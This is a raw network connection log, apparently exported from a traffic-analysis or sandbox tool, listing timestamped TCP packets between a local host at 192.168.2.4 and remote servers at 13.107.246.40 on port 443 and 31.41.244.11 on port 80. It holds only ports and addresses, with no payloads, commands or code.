Nov 19, 2024 22:07:08.275796890 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.275979042 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.275995016 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.276019096 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.276024103 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.279036999 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.279066086 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.279177904 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.279376984 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.279401064 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.308552980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308598995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308636904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308639050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.308695078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.308715105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308756113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308765888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.308809996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308836937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.308847904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308888912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308907032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.308924913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308957100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.308962107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.308999062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309020042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309031010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309066057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309070110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309108019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309129953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309139967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309170008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309235096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309272051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309298992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309320927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309343100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309359074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309396982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309422016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309432983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309469938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309506893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309526920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309539080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309576035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309587955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309612989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309644938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309644938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309684992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309720039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309721947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309756041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309773922 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309793949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309820890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309834957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309856892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309870005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309901953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.309907913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309943914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309961081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.309997082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310013056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310034037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310069084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310085058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310106993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310108900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310144901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310178041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310185909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310244083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310343027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310379982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310410976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310414076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310437918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310447931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310484886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310508013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310517073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310542107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310587883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310625076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310650110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310657978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310682058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310914993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310952902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.310977936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.310986042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311005116 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311022043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311058998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311089993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311091900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311110973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311254025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311290026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311330080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311342955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311352015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311444998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311481953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311502934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311516047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311544895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311677933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311714888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311742067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311748028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311762094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311784983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311820984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311844110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311856985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311868906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311893940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311930895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.311949968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.311964035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312000036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312010050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312036991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312048912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312068939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312105894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312108040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312141895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312165022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312175989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312211037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312212944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312251091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312282085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312299967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312319040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312339067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312357903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312383890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312391996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312408924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312427998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312464952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312494040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312498093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312521935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312535048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312572002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312592030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312603951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312638998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312639952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312679052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312711000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312720060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312738895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312748909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312784910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312810898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312820911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312834978 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312858105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312896013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312916994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312927961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.312953949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.312964916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313002110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313020945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313033104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313061953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313070059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313106060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313127995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313138962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313155890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313177109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313213110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313230991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313246965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313267946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313282013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313318968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313340902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313350916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313381910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313389063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313426971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313452005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313460112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313489914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313498020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313535929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313560009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313568115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313585997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313605070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313642025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313663960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.313674927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.313702106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.354932070 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.355415106 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.355478048 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.355813026 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.355827093 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.359256029 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.359548092 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.359565020 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.359831095 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.359842062 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.388870955 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.389178991 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.389216900 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.389460087 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.389471054 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.400821924 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.401094913 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.401107073 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.401371956 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.401376009 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.513163090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.513185978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.513237000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.513287067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.513293028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514003992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514069080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.514297962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514312983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514329910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514398098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.514458895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514473915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514491081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514508009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.514542103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.514611006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514626026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514642954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514662981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.514695883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.514925003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514940977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.514956951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515002012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515037060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515079975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515101910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515137911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515144110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515202999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515255928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515270948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515331984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515428066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515444040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515459061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515490055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515526056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515605927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515624046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515639067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515671968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515702963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.515943050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515959978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515974045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.515990019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516000032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516032934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516067028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516096115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516113043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516128063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516161919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516194105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516271114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516285896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516300917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516331911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516364098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516433954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516448975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516464949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516504049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516534090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516602993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516618013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516633034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516649961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516666889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516696930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516715050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516766071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516783953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516801119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516839981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516870022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.516923904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516942024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516958952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516973972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.516998053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517029047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517200947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517221928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517237902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517263889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517313957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517350912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517368078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517381907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517411947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517441988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517507076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517524958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517539978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517565012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517597914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517695904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517759085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517762899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517779112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517811060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.517946959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517965078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517977953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.517995119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518007040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518042088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518069983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518099070 CET	80	49864	31.41.244.11	192.168.2.4
